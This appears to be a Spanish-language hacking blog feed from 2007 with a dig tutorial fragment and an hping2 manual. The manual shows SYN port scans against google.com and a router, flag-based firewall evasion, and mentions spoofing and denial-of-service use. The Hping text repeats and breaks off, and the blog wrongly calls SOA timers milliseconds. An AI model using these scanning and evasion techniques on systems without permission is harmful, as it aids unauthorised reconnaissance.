QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      ANY&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             181     IN      A       64.233.167.99&lt;br /&gt;google.com.             181     IN      A       72.14.207.99&lt;br /&gt;google.com.             181     IN      A       64.233.187.99&lt;br /&gt;google.com.             63936   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp1.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345481  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345481  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345481  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345481  IN      A       216.239.32.10&lt;br /&gt;smtp3.google.com.       328     IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       334     IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3332    IN      A       72.14.203.25&lt;br /&gt;smtp2.google.com.       322     IN      A       64.233.167.25&lt;br /&gt;&lt;br /&gt;;; Query time: 1243 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:40:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 364&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Mail del responsable y otros datos del DNS:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com SOA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com SOA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 52736&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      SOA&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             86400   IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 2563 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:51:14 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;aqui el correo seria: &lt;a href="mailto:dns-admin@google.com"&gt;dns-admin@google.com&lt;/a&gt; (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17,  el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;otras funciones utiles:&lt;/b&gt;&lt;br /&gt;+nocmd&lt;br /&gt;+nocomments&lt;br /&gt;+noquestion&lt;br /&gt;+noanswer&lt;br /&gt;+noauthority&lt;br /&gt;+noadditional&lt;br /&gt;+nostats&lt;br /&gt;+noall&lt;br /&gt;&lt;br /&gt;Su funcion es logica, y son utiles cuando queremos resumir las respuestas....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autor: Thera Hack&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-2133744796560631648?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/2133744796560631648/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=2133744796560631648' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2133744796560631648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2133744796560631648'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-dig.html' title='Manual Dig'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-8687278639782557800</id><published>2007-10-23T00:41:00.000-03:00</published><updated>2007-10-23T00:51:39.635-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual Hping</title><content type='html'>Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;br /&gt;  -z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;  -Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;  default mode     TCP&lt;br /&gt;  -0  --rawip      RAW IP mode&lt;br /&gt;  -1  --icmp       ICMP mode&lt;br /&gt;  -2  --udp        UDP mode&lt;br /&gt;  -8  --scan       SCAN mode.&lt;br /&gt;                   Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;  -9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;  -a  --spoof      spoof source address&lt;br /&gt;  --rand-dest      random destionation address mode. see the man.&lt;br /&gt;  --rand-source    random source address mode. see the man.&lt;br /&gt;  -t  --ttl        ttl (default 64)&lt;br /&gt;  -N  --id         id (default random)&lt;br /&gt;  -W  --winid      use win* id byte ordering&lt;br /&gt;  -r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;  -f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;  -x  --morefrag   set more fragments flag&lt;br /&gt;  -y  --dontfrag   set dont fragment flag&lt;br /&gt;  -g  --fragoff    set the fragment offset&lt;br /&gt;  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;  -o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;  -G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;  --lsrr           loose source routing and record route&lt;br /&gt;  --ssrr           strict source routing and record route&lt;br /&gt;  -H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;  -C  --icmptype   icmp type (default echo request)&lt;br /&gt;  -K  --icmpcode   icmp code (default 0)&lt;br /&gt;      --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;      --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;  -s  --baseport   base source port             (default random)&lt;br /&gt;  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;  -k  --keep       keep still source port&lt;br /&gt;  -w  --win        winsize (default 64)&lt;br /&gt;  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;  -Q  --seqnum     shows only tcp sequence number&lt;br /&gt;  -b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                   many systems will fix the IP checksum sending the packet&lt;br /&gt;                   so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;  -M  --setseq     set TCP sequence number&lt;br /&gt;  -L  --setack     set TCP ack&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;  --tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;  -d  --data       data size                    (default is 0)&lt;br /&gt;  -E  --file       data from file&lt;br /&gt;  -e  --sign       add 'signature'&lt;br /&gt;  -j  --dump       dump packets in hex&lt;br /&gt;  -J  --print      dump printable characters&lt;br /&gt;  -B  --safe       enable 'safe' protocol&lt;br /&gt;  -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;  --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;  --apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;br /&gt;  -z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;  -Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;  default mode     TCP&lt;br /&gt;  -0  --rawip      RAW IP mode&lt;br /&gt;  -1  --icmp       ICMP mode&lt;br /&gt;  -2  --udp        UDP mode&lt;br /&gt;  -8  --scan       SCAN mode.&lt;br /&gt;                   Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;  -9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;  -a  --spoof      spoof source address&lt;br /&gt;  --rand-dest      random destionation address mode. see the man.&lt;br /&gt;  --rand-source    random source address mode. see the man.&lt;br /&gt;  -t  --ttl        ttl (default 64)&lt;br /&gt;  -N  --id         id (default random)&lt;br /&gt;  -W  --winid      use win* id byte ordering&lt;br /&gt;  -r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;  -f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;  -x  --morefrag   set more fragments flag&lt;br /&gt;  -y  --dontfrag   set dont fragment flag&lt;br /&gt;  -g  --fragoff    set the fragment offset&lt;br /&gt;  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;  -o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;  -G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;  --lsrr           loose source routing and record route&lt;br /&gt;  --ssrr           strict source routing and record route&lt;br /&gt;  -H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;  -C  --icmptype   icmp type (default echo request)&lt;br /&gt;  -K  --icmpcode   icmp code (default 0)&lt;br /&gt;      --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;      --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;  -s  --baseport   base source port             (default random)&lt;br /&gt;  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;  -k  --keep       keep still source port&lt;br /&gt;  -w  --win        winsize (default 64)&lt;br /&gt;  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;  -Q  --seqnum     shows only tcp sequence number&lt;br /&gt;  -b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                   many systems will fix the IP checksum sending the packet&lt;br /&gt;                   so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;  -M  --setseq     set TCP sequence number&lt;br /&gt;  -L  --setack     set TCP ack&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;  --tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;  -d  --data       data size                    (default is 0)&lt;br /&gt;  -E  --file       data from file&lt;br /&gt;  -e  --sign       add 'signature'&lt;br /&gt;  -j  --dump       dump packets in hex&lt;br /&gt;  -J  --print      dump printable characters&lt;br /&gt;  -B  --safe       enable 'safe' protocol&lt;br /&gt;  -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;  --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;  --apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;  -F  --fin        set FIN 